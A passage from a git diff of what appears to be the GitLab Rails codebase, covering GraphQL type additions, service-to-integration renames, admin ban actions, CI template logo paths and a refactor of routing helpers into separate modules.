class ServiceTypeEnum < BaseEnum
graphql_name 'ServiceType'
- ::Integration.available_services_types(include_dev: false).each do |type|
+ ::Integration.available_integration_types(include_dev: false).each do |type|
value type.underscore.upcase, value: type, description: "#{type} type"
end
end
diff --git a/app/graphql/types/query_complexity_type.rb b/app/graphql/types/query_complexity_type.rb
new file mode 100644
index 00000000000..82809fac22f
--- /dev/null
+++ b/app/graphql/types/query_complexity_type.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module Types
+ # rubocop: disable Graphql/AuthorizeTypes
+ class QueryComplexityType < ::Types::BaseObject
+ ANALYZER = GraphQL::Analysis::QueryComplexity.new { |_query, complexity| complexity }
+
+ graphql_name 'QueryComplexity'
+
+ alias_method :query, :object
+
+ field :limit, GraphQL::INT_TYPE,
+ null: true,
+ method: :max_complexity,
+ see: {
+ 'GitLab documentation on this limit' =>
+ 'https://docs.gitlab.com/ee/api/graphql/index.html#max-query-complexity'
+ },
+ description: 'GraphQL query complexity limit.'
+
+ field :score, GraphQL::INT_TYPE,
+ null: true,
+ description: 'GraphQL query complexity score.'
+
+ def score
+ ::GraphQL::Analysis.analyze_query(query, [ANALYZER]).first
+ end
+ end
+ # rubocop: enable Graphql/AuthorizeTypes
+end
diff --git a/app/graphql/types/query_type.rb b/app/graphql/types/query_type.rb
index 8b7b9f0107b..d2c67aea95c 100644
--- a/app/graphql/types/query_type.rb
+++ b/app/graphql/types/query_type.rb
@@ -36,6 +36,10 @@ module Types
resolver: Resolvers::MetadataResolver,
description: 'Metadata about GitLab.'
+ field :query_complexity, Types::QueryComplexityType,
+ null: true,
+ description: 'Information about the complexity of the GraphQL query.'
+
field :snippets,
Types::SnippetType.connection_type,
null: true,
@@ -170,6 +174,10 @@ module Types
def application_settings
Gitlab::CurrentSettings.current_application_settings
end
+
+ def query_complexity
+ context.query
+ end
end
end
diff --git a/app/graphql/types/release_asset_link_type.rb b/app/graphql/types/release_asset_link_type.rb
index c27e1cf19b3..829e7e246db 100644
--- a/app/graphql/types/release_asset_link_type.rb
+++ b/app/graphql/types/release_asset_link_type.rb
@@ -20,6 +20,8 @@ module Types
field :direct_asset_url, GraphQL::STRING_TYPE, null: true,
description: 'Direct asset URL of the link.'
+ field :direct_asset_path, GraphQL::STRING_TYPE, null: true, method: :filepath,
+ description: 'Relative path for the direct asset link.'
def direct_asset_url
return object.url unless object.filepath
diff --git a/app/graphql/types/snippet_type.rb b/app/graphql/types/snippet_type.rb
index 34357ead048..7606bdbc46d 100644
--- a/app/graphql/types/snippet_type.rb
+++ b/app/graphql/types/snippet_type.rb
@@ -5,7 +5,7 @@ module Types
graphql_name 'Snippet'
description 'Represents a snippet entry'
- implements(Types::Notes::NoteableType)
+ implements(Types::Notes::NoteableInterface)
present_using SnippetPresenter
diff --git a/app/graphql/types/snippets/blob_type.rb b/app/graphql/types/snippets/blob_type.rb
index fb9ee380705..1335838935e 100644
--- a/app/graphql/types/snippets/blob_type.rb
+++ b/app/graphql/types/snippets/blob_type.rb
@@ -16,6 +16,10 @@ module Types
description: 'Blob plain highlighted data.',
null: true
+ field :raw_plain_data, GraphQL::STRING_TYPE,
+ description: 'The raw content of the blob, if the blob is text data.',
+ null: true
+
field :raw_path, GraphQL::STRING_TYPE,
description: 'Blob raw content endpoint path.',
null: false
diff --git a/app/graphql/types/user_callout_type.rb b/app/graphql/types/user_callout_type.rb
index 12f4fdea878..0ff32d68400 100644
--- a/app/graphql/types/user_callout_type.rb
+++ b/app/graphql/types/user_callout_type.rb
@@ -4,7 +4,7 @@ module Types
class UserCalloutType < BaseObject # rubocop:disable Graphql/AuthorizeTypes
graphql_name 'UserCallout'
- field :feature_name, UserCalloutFeatureNameEnum, null: false,
+ field :feature_name, UserCalloutFeatureNameEnum, null: true,
description: 'Name of the feature that the callout is for.'
field :dismissed_at, Types::TimeType, null: true,
description: 'Date when the callout was dismissed.'
diff --git a/app/helpers/admin/user_actions_helper.rb b/app/helpers/admin/user_actions_helper.rb
index cd520a75b44..5719d8f5ffd 100644
--- a/app/helpers/admin/user_actions_helper.rb
+++ b/app/helpers/admin/user_actions_helper.rb
@@ -15,6 +15,7 @@ module Admin
deactivate_actions
unlock_actions
delete_actions
+ ban_actions
@actions
end
@@ -28,7 +29,7 @@ module Admin
@actions << 'approve'
@actions << 'reject'
elsif @user.blocked?
- @actions << 'unblock'
+ @actions << 'unblock' unless @user.banned?
else
@actions << 'block'
end
@@ -52,5 +53,19 @@ module Admin
@actions << 'delete'
@actions << 'delete_with_contributions'
end
+
+ def ban_actions
+ return unless ban_feature_available?
+ return if @user.internal?
+
+ if @user.banned?
+ @actions << 'unban'
+ return
+ end
+
+ unless @user.blocked?
+ @actions << 'ban'
+ end
+ end
end
end
diff --git a/app/helpers/analytics/unique_visits_helper.rb b/app/helpers/analytics/unique_visits_helper.rb
deleted file mode 100644
index 4aa8907f578..00000000000
--- a/app/helpers/analytics/unique_visits_helper.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-module Analytics
- module UniqueVisitsHelper
- extend ActiveSupport::Concern
-
- def visitor_id
- return cookies[:visitor_id] if cookies[:visitor_id].present?
- return unless current_user
-
- uuid = SecureRandom.uuid
- cookies[:visitor_id] = { value: uuid, expires: 24.months }
- uuid
- end
-
- def track_visit(target_id)
- return unless visitor_id
-
- Gitlab::Analytics::UniqueVisits.new.track_visit(target_id, values: visitor_id)
- end
-
- class_methods do
- def track_unique_visits(controller_actions, target_id:)
- after_action only: controller_actions, if: -> { request.format.html? && request.headers['DNT'] != '1' } do
- track_visit(target_id)
- end
- end
- end
- end
-end
diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb
index 2e15b3f22c2..1304bcb1c7e 100644
--- a/app/helpers/application_helper.rb
+++ b/app/helpers/application_helper.rb
@@ -285,7 +285,7 @@ module ApplicationHelper
def page_class
class_names = []
class_names << 'issue-boards-page gl-overflow-auto' if current_controller?(:boards)
- class_names << 'epic-boards-page' if current_controller?(:epic_boards)
+ class_names << 'epic-boards-page gl-overflow-auto' if current_controller?(:epic_boards)
class_names << 'environment-logs-page' if current_controller?(:logs)
class_names << 'with-performance-bar' if performance_bar_enabled?
class_names << system_message_class
diff --git a/app/helpers/application_settings_helper.rb b/app/helpers/application_settings_helper.rb
index efdad22fa54..a3df566e4b3 100644
--- a/app/helpers/application_settings_helper.rb
+++ b/app/helpers/application_settings_helper.rb
@@ -331,6 +331,7 @@ module ApplicationSettingsHelper
:unique_ips_limit_per_user,
:unique_ips_limit_time_window,
:usage_ping_enabled,
+ :usage_ping_features_enabled,
:user_default_external,
:user_show_add_ssh_key_message,
:user_default_internal_regex,
@@ -343,6 +344,8 @@ module ApplicationSettingsHelper
:commit_email_hostname,
:protected_ci_variables,
:local_markdown_version,
+ :mailgun_signing_key,
+ :mailgun_events_enabled,
:snowplow_collector_hostname,
:snowplow_cookie_domain,
:snowplow_enabled,
@@ -437,6 +440,10 @@ module ApplicationSettingsHelper
Feature.enabled?(:help_page_documentation_redirect)
end
+ def valid_runner_registrars
+ Gitlab::CurrentSettings.valid_runner_registrars
+ end
+
def signup_enabled?
!!Gitlab::CurrentSettings.signup_enabled
end
diff --git a/app/helpers/auto_devops_helper.rb b/app/helpers/auto_devops_helper.rb
index c27f5d4ebce..91a335cd504 100644
--- a/app/helpers/auto_devops_helper.rb
+++ b/app/helpers/auto_devops_helper.rb
@@ -7,7 +7,7 @@ module AutoDevopsHelper
can?(current_user, :admin_pipeline, project) &&
project.has_auto_devops_implicitly_disabled? &&
!project.repository.gitlab_ci_yml &&
- !project.ci_service
+ !project.ci_integration
end
def badge_for_auto_devops_scope(auto_devops_receiver)
diff --git a/app/helpers/blob_helper.rb b/app/helpers/blob_helper.rb
index dfd6de3f1d5..eccd0e7a34c 100644
--- a/app/helpers/blob_helper.rb
+++ b/app/helpers/blob_helper.rb
@@ -65,7 +65,7 @@ module BlobHelper
return unless blob = readable_blob(options, path, project, ref)
common_classes = "btn gl-button btn-confirm js-edit-blob gl-ml-3 #{options[:extra_class]}"
- data = { track_event: 'click_edit', track_label: 'Edit' }
+ data = { track_action: 'click_edit', track_label: 'edit' }
if Feature.enabled?(:web_ide_primary_edit, project.group)
common_classes += " btn-inverted"
@@ -85,7 +85,7 @@ module BlobHelper
return unless blob
common_classes = 'btn gl-button btn-confirm ide-edit-button gl-ml-3'
- data = { track_event: 'click_edit_ide', track_label: 'Web IDE' }
+ data = { track_action: 'click_edit_ide', track_label: 'web_ide' }
unless Feature.enabled?(:web_ide_primary_edit, project.group)
common_classes += " btn-inverted"
diff --git a/app/helpers/ci/jobs_helper.rb b/app/helpers/ci/jobs_helper.rb
index 23f2a082a68..882302f05ad 100644
--- a/app/helpers/ci/jobs_helper.rb
+++ b/app/helpers/ci/jobs_helper.rb
@@ -9,7 +9,6 @@ module Ci
"artifact_help_url" => help_page_path('user/gitlab_com/index.html', anchor: 'gitlab-cicd'),
"deployment_help_url" => help_page_path('user/project/clusters/index.html', anchor: 'troubleshooting'),
"runner_settings_url" => project_runners_path(@build.project, anchor: 'js-runners-settings'),
- "variables_settings_url" => project_variables_path(@build.project, anchor: 'js-cicd-variables-settings'),
"page_path" => project_job_path(@project, @build),
"build_status" => @build.status,
"build_stage" => @build.stage,
diff --git a/app/helpers/ci/pipeline_editor_helper.rb b/app/helpers/ci/pipeline_editor_helper.rb
index 8c8ee2d4d0f..d441ffbb853 100644
--- a/app/helpers/ci/pipeline_editor_helper.rb
+++ b/app/helpers/ci/pipeline_editor_helper.rb
@@ -9,24 +9,26 @@ module Ci
end
def js_pipeline_editor_data(project)
- commit_sha = project.commit ? project.commit.sha : ''
+ initial_branch = params[:branch_name]
+ latest_commit = project.repository.commit(initial_branch) || project.commit
+ commit_sha = latest_commit ? latest_commit.sha : ''
{
"ci-config-path": project.ci_config_path_or_default,
- "ci-examples-help-page-path" => help_page_path('ci/examples/README'),
- "ci-help-page-path" => help_page_path('ci/README'),
+ "ci-examples-help-page-path" => help_page_path('ci/examples/index'),
+ "ci-help-page-path" => help_page_path('ci/index'),
"commit-sha" => commit_sha,
- "default-branch" => project.default_branch,
+ "default-branch" => project.default_branch_or_main,
"empty-state-illustration-path" => image_path('illustrations/empty-state/empty-dag-md.svg'),
- "initial-branch-name": params[:branch_name],
+ "initial-branch-name" => initial_branch,
"lint-help-page-path" => help_page_path('ci/lint', anchor: 'validate-basic-logic-and-syntax'),
"needs-help-page-path" => help_page_path('ci/yaml/README', anchor: 'needs'),
"new-merge-request-path" => namespace_project_new_merge_request_path,
- "pipeline_etag" => project.commit ? graphql_etag_pipeline_sha_path(commit_sha) : '',
+ "pipeline_etag" => latest_commit ? graphql_etag_pipeline_sha_path(commit_sha) : '',
"pipeline-page-path" => project_pipelines_path(project),
"project-path" => project.path,
"project-full-path" => project.full_path,
"project-namespace" => project.namespace.full_path,
- "runner-help-page-path" => help_page_path('ci/runners/README'),
+ "runner-help-page-path" => help_page_path('ci/runners/index'),
"total-branches" => project.repository.branches.length,
"yml-help-page-path" => help_page_path('ci/yaml/README')
}
diff --git a/app/helpers/ci/pipelines_helper.rb b/app/helpers/ci/pipelines_helper.rb
index f42cd53ae3a..6be46b40023 100644
--- a/app/helpers/ci/pipelines_helper.rb
+++ b/app/helpers/ci/pipelines_helper.rb
@@ -30,42 +30,40 @@ module Ci
project.has_ci? && project.builds_enabled?
end
- # This list of templates is for the pipeline_empty_state_templates experiment
- # and will be cleaned up with https://gitlab.com/gitlab-org/gitlab/-/issues/326299
- def experiment_suggested_ci_templates
+ def suggested_ci_templates
[
- { name: 'Android', logo: image_path('illustrations/logos/android.svg') },
- { name: 'Bash', logo: image_path('illustrations/logos/bash.svg') },
- { name: 'C++', logo: image_path('illustrations/logos/c_plus_plus.svg') },
- { name: 'Clojure', logo: image_path('illustrations/logos/clojure.svg') },
- { name: 'Composer', logo: image_path('illustrations/logos/composer.svg') },
- { name: 'Crystal', logo: image_path('illustrations/logos/crystal.svg') },
- { name: 'Dart', logo: image_path('illustrations/logos/dart.svg') },
- { name: 'Django', logo: image_path('illustrations/logos/django.svg') },
- { name: 'Docker', logo: image_path('illustrations/logos/docker.svg') },
- { name: 'Elixir', logo: image_path('illustrations/logos/elixir.svg') },
- { name: 'iOS-Fastlane', logo: image_path('illustrations/logos/fastlane.svg') },
- { name: 'Flutter', logo: image_path('illustrations/logos/flutter.svg') },
- { name: 'Go', logo: image_path('illustrations/logos/go_logo.svg') },
- { name: 'Gradle', logo: image_path('illustrations/logos/gradle.svg') },
- { name: 'Grails', logo: image_path('illustrations/logos/grails.svg') },
- { name: 'dotNET', logo: image_path('illustrations/logos/dotnet.svg') },
- { name: 'Julia', logo: image_path('illustrations/logos/julia.svg') },
- { name: 'Laravel', logo: image_path('illustrations/logos/laravel.svg') },
- { name: 'LaTeX', logo: image_path('illustrations/logos/latex.svg') },
- { name: 'Maven', logo: image_path('illustrations/logos/maven.svg') },
- { name: 'Mono', logo: image_path('illustrations/logos/mono.svg') },
- { name: 'Nodejs', logo: image_path('illustrations/logos/node_js.svg') },
- { name: 'npm', logo: image_path('illustrations/logos/npm.svg') },
- { name: 'OpenShift', logo: image_path('illustrations/logos/openshift.svg') },
- { name: 'Packer', logo: image_path('illustrations/logos/packer.svg') },
- { name: 'PHP', logo: image_path('illustrations/logos/php.svg') },
- { name: 'Python', logo: image_path('illustrations/logos/python.svg') },
- { name: 'Ruby', logo: image_path('illustrations/logos/ruby.svg') },
- { name: 'Rust', logo: image_path('illustrations/logos/rust.svg') },
- { name: 'Scala', logo: image_path('illustrations/logos/scala.svg') },
- { name: 'Swift', logo: image_path('illustrations/logos/swift.svg') },
- { name: 'Terraform', logo: image_path('illustrations/logos/terraform.svg') }
+ { name: 'Android', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/android.svg') },
+ { name: 'Bash', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/bash.svg') },
+ { name: 'C++', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/c_plus_plus.svg') },
+ { name: 'Clojure', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/clojure.svg') },
+ { name: 'Composer', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/composer.svg') },
+ { name: 'Crystal', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/crystal.svg') },
+ { name: 'Dart', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/dart.svg') },
+ { name: 'Django', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/django.svg') },
+ { name: 'Docker', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/docker.svg') },
+ { name: 'Elixir', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/elixir.svg') },
+ { name: 'iOS-Fastlane', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/fastlane.svg') },
+ { name: 'Flutter', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/flutter.svg') },
+ { name: 'Go', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/go_logo.svg') },
+ { name: 'Gradle', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/gradle.svg') },
+ { name: 'Grails', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/grails.svg') },
+ { name: 'dotNET', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/dotnet.svg') },
+ { name: 'Julia', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/julia.svg') },
+ { name: 'Laravel', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/laravel.svg') },
+ { name: 'LaTeX', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/latex.svg') },
+ { name: 'Maven', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/maven.svg') },
+ { name: 'Mono', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/mono.svg') },
+ { name: 'Nodejs', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/node_js.svg') },
+ { name: 'npm', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/npm.svg') },
+ { name: 'OpenShift', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/openshift.svg') },
+ { name: 'Packer', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/packer.svg') },
+ { name: 'PHP', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/php.svg') },
+ { name: 'Python', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/python.svg') },
+ { name: 'Ruby', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/ruby.svg') },
+ { name: 'Rust', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/rust.svg') },
+ { name: 'Scala', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/scala.svg') },
+ { name: 'Swift', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/swift.svg') },
+ { name: 'Terraform', logo: image_path('illustrations/third-party-logos/ci_cd-template-logos/terraform.svg') }
]
end
diff --git a/app/helpers/ci/variables_helper.rb b/app/helpers/ci/variables_helper.rb
index b20390d58e9..84572363a8d 100644
--- a/app/helpers/ci/variables_helper.rb
+++ b/app/helpers/ci/variables_helper.rb
@@ -48,7 +48,7 @@ module Ci
end
def ci_variable_maskable_regex
- Ci::Maskable::REGEX.inspect.sub('\\A', '^').sub('\\z', '$').sub(/^\//, '').sub(/\/[a-z]*$/, '').gsub('\/', '/')
+ Ci::Maskable::REGEX.inspect.sub('\\A', '^').sub('\\z', '$').sub(%r{^/}, '').sub(%r{/[a-z]*$}, '').gsub('\/', '/')
end
end
end
diff --git a/app/helpers/clusters_helper.rb b/app/helpers/clusters_helper.rb
index 14783882f5e..e9a75babb97 100644
--- a/app/helpers/clusters_helper.rb
+++ b/app/helpers/clusters_helper.rb
@@ -20,7 +20,11 @@ module ClustersHelper
{
default_branch_name: clusterable_project.default_branch,
empty_state_image: image_path('illustrations/clusters_empty.svg'),
- project_path: clusterable_project.full_path
+ project_path: clusterable_project.full_path,
+ agent_docs_url: help_page_path('user/clusters/agent/index'),
+ install_docs_url: help_page_path('administration/clusters/kas'),
+ get_started_docs_url: help_page_path('user/clusters/agent/index', anchor: 'define-a-configuration-repository'),
+ integration_docs_url: help_page_path('user/clusters/agent/index', anchor: 'get-started-with-gitops-and-the-gitlab-agent')
}
end
diff --git a/app/helpers/commits_helper.rb b/app/helpers/commits_helper.rb
index a7696ba4ea7..d2ac1e8f985 100644
--- a/app/helpers/commits_helper.rb
+++ b/app/helpers/commits_helper.rb
@@ -167,6 +167,14 @@ module CommitsHelper
]
end
+ DEFAULT_SHA = '0000000'
+
+ # Returns the template path for commit resources
+ # to be utilized by the client applications.
+ def commit_path_template(project)
+ project_commit_path(project, DEFAULT_SHA).sub("/#{DEFAULT_SHA}", '/$COMMIT_SHA')
+ end
+
protected
# Private: Returns a link to a person. If the person has a matching user and
diff --git a/app/helpers/custom_metrics_helper.rb b/app/helpers/custom_metrics_helper.rb
index 5ea386e268d..9fbfe377c61 100644
--- a/app/helpers/custom_metrics_helper.rb
+++ b/app/helpers/custom_metrics_helper.rb
@@ -5,7 +5,7 @@ module CustomMetricsHelper
{
'custom-metrics-path' => url_for([project, metric]),
'metric-persisted' => metric.persisted?.to_s,
- 'edit-project-service-path' => edit_project_service_path(project, PrometheusService),
+ 'edit-project-service-path' => edit_project_service_path(project, ::Integrations::Prometheus),
'validate-query-path' => validate_query_project_prometheus_metrics_path(project),
'title' => metric.title.to_s,
'query' => metric.query.to_s,
diff --git a/app/helpers/diff_helper.rb b/app/helpers/diff_helper.rb
index e430b0f402b..3aa54e3afe9 100644
--- a/app/helpers/diff_helper.rb
+++ b/app/helpers/diff_helper.rb
@@ -190,10 +190,8 @@ module DiffHelper
end
def render_overflow_warning?(diffs_collection)
- diff_files = diffs_collection.raw_diff_files
-
- diff_files.overflow?.tap do |overflown|
- log_overflow_limits(diff_files)
+ diffs_collection.overflow?.tap do |overflown|
+ log_overflow_limits(diff_files: diffs_collection.raw_diff_files, collection_overflow: overflown)
end
end
@@ -285,12 +283,12 @@ module DiffHelper
conflicts_service.conflicts.files.index_by(&:our_path)
end
- def log_overflow_limits(diff_files)
+ def log_overflow_limits(diff_files:, collection_overflow:)
if diff_files.any?(&:too_large?)
Gitlab::Metrics.add_event(:diffs_overflow_single_file_limits)
end
- Gitlab::Metrics.add_event(:diffs_overflow_collection_limits) if diff_files.overflow?
+ Gitlab::Metrics.add_event(:diffs_overflow_collection_limits) if collection_overflow
Gitlab::Metrics.add_event(:diffs_overflow_max_bytes_limits) if diff_files.overflow_max_bytes?
Gitlab::Metrics.add_event(:diffs_overflow_max_files_limits) if diff_files.overflow_max_files?
Gitlab::Metrics.add_event(:diffs_overflow_max_lines_limits) if diff_files.overflow_max_lines?
diff --git a/app/helpers/environments_helper.rb b/app/helpers/environments_helper.rb
index 5927c82abe9..62060200698 100644
--- a/app/helpers/environments_helper.rb
+++ b/app/helpers/environments_helper.rb
@@ -79,7 +79,7 @@ module EnvironmentsHelper
end
def has_managed_prometheus?(project)
- project.prometheus_service&.prometheus_available? == true
+ project.prometheus_integration&.prometheus_available? == true
end
def metrics_dashboard_base_path(environment, project)
diff --git a/app/helpers/events_helper.rb b/app/helpers/events_helper.rb
index cd70c6f3962..4ee3acd32d2 100644
--- a/app/helpers/events_helper.rb
+++ b/app/helpers/events_helper.rb
@@ -240,8 +240,7 @@ module EventsHelper
DESIGN_ICONS = {
'created' => 'upload',
'updated' => 'pencil',
- 'destroyed' => ICON_NAMES_BY_EVENT_TYPE['destroyed'],
- 'archived' => 'archive'
+ 'destroyed' => ICON_NAMES_BY_EVENT_TYPE['destroyed']
}.freeze
def design_event_icon(action, size: 24)
diff --git a/app/helpers/gitlab_routing_helper.rb b/app/helpers/gitlab_routing_helper.rb
index 0a684d92eb1..0f835e6881e 100644
--- a/app/helpers/gitlab_routing_helper.rb
+++ b/app/helpers/gitlab_routing_helper.rb
@@ -7,381 +7,18 @@ module GitlabRoutingHelper
include ::ProjectsHelper
include ::ApplicationSettingsHelper
include API::Helpers::RelatedResourcesHelpers
+ include ::Routing::ProjectsHelper
+ include ::Routing::Projects::MembersHelper
+ include ::Routing::Groups::MembersHelper
+ include ::Routing::MembersHelper
+ include ::Routing::ArtifactsHelper
+ include ::Routing::PipelineSchedulesHelper
+ include ::Routing::SnippetsHelper
+ include ::Routing::WikiHelper
+ include ::Routing::GraphqlHelper
included do
Gitlab::Routing.includes_helpers(self)
end
-
- # Project
- def project_tree_path(project, ref = nil, *args)
- namespace_project_tree_path(project.namespace, project, ref || @ref || project.repository.root_ref, *args) # rubocop:disable Cop/ProjectPathHelper
- end
-
- def project_commits_path(project, ref = nil, *args)
- namespace_project_commits_path(project.namespace, project, ref || @ref || project.repository.root_ref, *args) # rubocop:disable Cop/ProjectPathHelper
- end
-
- def project_ref_path(project, ref_name, *args)
- project_commits_path(project, ref_name, *args)
- end
-
- def environment_path(environment, *args)
- project_environment_path(environment.project, environment, *args)
- end
-
- def environment_metrics_path(environment, *args)
- metrics_project_environment_path(environment.project, environment, *args)
- end
-
- def environment_delete_path(environment, *args)
- expose_path(api_v4_projects_environments_path(id: environment.project.id, environment_id: environment.id))
- end
-
- def issue_path(entity, *args)
- project_issue_path(entity.project, entity, *args)
- end
-
- def merge_request_path(entity, *args)
- project_merge_request_path(entity.project, entity, *args)
- end
-
- def pipeline_path(pipeline, *args)
- project_pipeline_path(pipeline.project, pipeline.id, *args)
- end
-
- def issue_url(entity, *args)
- project_issue_url(entity.project, entity, *args)
- end
-
- def merge_request_url(entity, *args)
- project_merge_request_url(entity.project, entity, *args)
- end
-
- def pipeline_url(pipeline, *args)
- project_pipeline_url(pipeline.project, pipeline.id, *args)
- end
-
- def pipeline_job_url(pipeline, build, *args)
- project_job_url(pipeline.project, build.id, *args)
- end
-
- def commits_url(entity, *args)
- project_commits_url(entity.project, entity.source_ref, *args)
- end
-
- def commit_url(entity, *args)
- project_commit_url(entity.project, entity.sha, *args)
- end
-
- def release_url(entity, *args)
- project_release_url(entity.project, entity, *args)
- end
-
- def preview_markdown_path(parent, *args)
- return group_preview_markdown_path(parent, *args) if parent.is_a?(Group)
-
- if @snippet.is_a?(PersonalSnippet)
- preview_markdown_snippets_path
- else
- preview_markdown_project_path(parent, *args)
- end
- end
-
- def edit_milestone_path(entity, *args)
- if entity.resource_parent.is_a?(Group)
- edit_group_milestone_path(entity.resource_parent, entity, *args)
- else
- edit_project_milestone_path(entity.resource_parent, entity, *args)
- end
- end
-
- def toggle_subscription_path(entity, *args)
- if entity.is_a?(Issue)
- toggle_subscription_project_issue_path(entity.project, entity)
- else
- toggle_subscription_project_merge_request_path(entity.project, entity)
- end
- end
-
- def toggle_award_emoji_personal_snippet_path(*args)
- toggle_award_emoji_snippet_path(*args)
- end
-
- def toggle_award_emoji_project_project_snippet_path(*args)
- toggle_award_emoji_project_snippet_path(*args)
- end
-
- def toggle_award_emoji_project_project_snippet_url(*args)
- toggle_award_emoji_project_snippet_url(*args)
- end
-
- ## Members
- def project_members_url(project, *args)
- project_project_members_url(project, *args)
- end
-
- def project_member_path(project_member, *args)
- project_project_member_path(project_member.source, project_member)
- end
-
- def request_access_project_members_path(project, *args)
- request_access_project_project_members_path(project)
- end
-
- def leave_project_members_path(project, *args)
- leave_project_project_members_path(project)
- end
-
- def approve_access_request_project_member_path(project_member, *args)
- approve_access_request_project_project_member_path(project_member.source, project_member)
- end
-
- def resend_invite_project_member_path(project_member, *args)
- resend_invite_project_project_member_path(project_member.source, project_member)
- end
-
- # Groups
-
- ## Members
- def group_members_url(group, *args)
- group_group_members_url(group, *args)
- end
-
- def group_member_path(group_member, *args)
- group_group_member_path(group_member.source, group_member)
- end
-
- def request_access_group_members_path(group, *args)
- request_access_group_group_members_path(group)
- end
-
- def leave_group_members_path(group, *args)
- leave_group_group_members_path(group)
- end
-
- def approve_access_request_group_member_path(group_member, *args)
- approve_access_request_group_group_member_path(group_member.source, group_member)
- end
-
- def resend_invite_group_member_path(group_member, *args)
- resend_invite_group_group_member_path(group_member.source, group_member)
- end
-
- # Members
- def source_members_url(member)
- case member.source_type
- when 'Namespace'
- group_group_members_url(member.source)
- when 'Project'
- project_project_members_url(member.source)
- end
- end
-
- # Artifacts
-
- # Rails path generators are slow because they need to do large regex comparisons
- # against the arguments. We can speed this up 10x by generating the strings directly.
-
- # /*namespace_id/:project_id/-/jobs/:job_id/artifacts/download(.:format)
- def fast_download_project_job_artifacts_path(project, job, params = {})
- expose_fast_artifacts_path(project, job, :download, params)
- end
-
- # /*namespace_id/:project_id/-/jobs/:job_id/artifacts/keep(.:format)
- def fast_keep_project_job_artifacts_path(project, job)
- expose_fast_artifacts_path(project, job, :keep)
- end
-
- # /*namespace_id/:project_id/-/jobs/:job_id/artifacts/browse(/*path)
- def fast_browse_project_job_artifacts_path(project, job)
- expose_fast_artifacts_path(project, job, :browse)
- end
-
- def expose_fast_artifacts_path(project, job, action, params = {})
- path = "#{project.full_path}/-/jobs/#{job.id}/artifacts/#{action}"
-
- unless params.empty?
- path += "?#{params.to_query}"
- end
-
- Gitlab::Utils.append_path(Gitlab.config.gitlab.relative_url_root, path)
- end
-
- def artifacts_action_path(path, project, build)
- action, path_params = path.split('/', 2)
- args = [project, build, path_params]
-
- case action
- when 'download'
- download_project_job_artifacts_path(*args)
- when 'browse'
- browse_project_job_artifacts_path(*args)
- when 'file'
- file_project_job_artifacts_path(*args)
- when 'raw'
- raw_project_job_artifacts_path(*args)
- end
- end
-
- # Pipeline Schedules
- def pipeline_schedules_path(project, *args)
- project_pipeline_schedules_path(project, *args)
- end
-
- def pipeline_schedule_path(schedule, *args)
- project = schedule.project
- project_pipeline_schedule_path(project, schedule, *args)
- end
-
- def edit_pipeline_schedule_path(schedule)
- project = schedule.project
- edit_project_pipeline_schedule_path(project, schedule)
- end
-
- def play_pipeline_schedule_path(schedule, *args)
- project = schedule.project
- play_project_pipeline_schedule_path(project, schedule, *args)
- end
-
- def take_ownership_pipeline_schedule_path(schedule, *args)
- project = schedule.project
- take_ownership_project_pipeline_schedule_path(project, schedule, *args)
- end
-
- def gitlab_snippet_path(snippet, *args)
- if snippet.is_a?(ProjectSnippet)
- project_snippet_path(snippet.project, snippet, *args)
- else
- new_args = snippet_query_params(snippet, *args)
- snippet_path(snippet, *new_args)
- end
- end
-
- def gitlab_snippet_url(snippet, *args)
- if snippet.is_a?(ProjectSnippet)
- project_snippet_url(snippet.project, snippet, *args)
- else
- new_args = snippet_query_params(snippet, *args)
- snippet_url(snippet, *new_args)
- end
- end
-
- def gitlab_dashboard_snippets_path(snippet, *args)
- if snippet.is_a?(ProjectSnippet)
- project_snippets_path(snippet.project, *args)
- else
- dashboard_snippets_path
- end
- end
-
- def gitlab_raw_snippet_path(snippet, *args)
- if snippet.is_a?(ProjectSnippet)
- raw_project_snippet_path(snippet.project, snippet, *args)
- else
- new_args = snippet_query_params(snippet, *args)
- raw_snippet_path(snippet, *new_args)
- end
- end
-
- def gitlab_raw_snippet_url(snippet, *args)
- if snippet.is_a?(ProjectSnippet)
- raw_project_snippet_url(snippet.project, snippet, *args)
- else
- new_args = snippet_query_params(snippet, *args)
- raw_snippet_url(snippet, *new_args)
- end
- end
-
- def gitlab_raw_snippet_blob_url(snippet, path, ref = nil, **options)
- params = {
- snippet_id: snippet,
- ref: ref || snippet.repository.root_ref,
- path: path
- }
-
- if snippet.is_a?(ProjectSnippet)
- project_snippet_blob_raw_url(snippet.project, **params, **options)
- else
- snippet_blob_raw_url(**params, **options)
- end
- end
-
- def gitlab_raw_snippet_blob_path(snippet, path, ref = nil, **options)
- gitlab_raw_snippet_blob_url(snippet, path, ref, only_path: true, **options)
- end
-
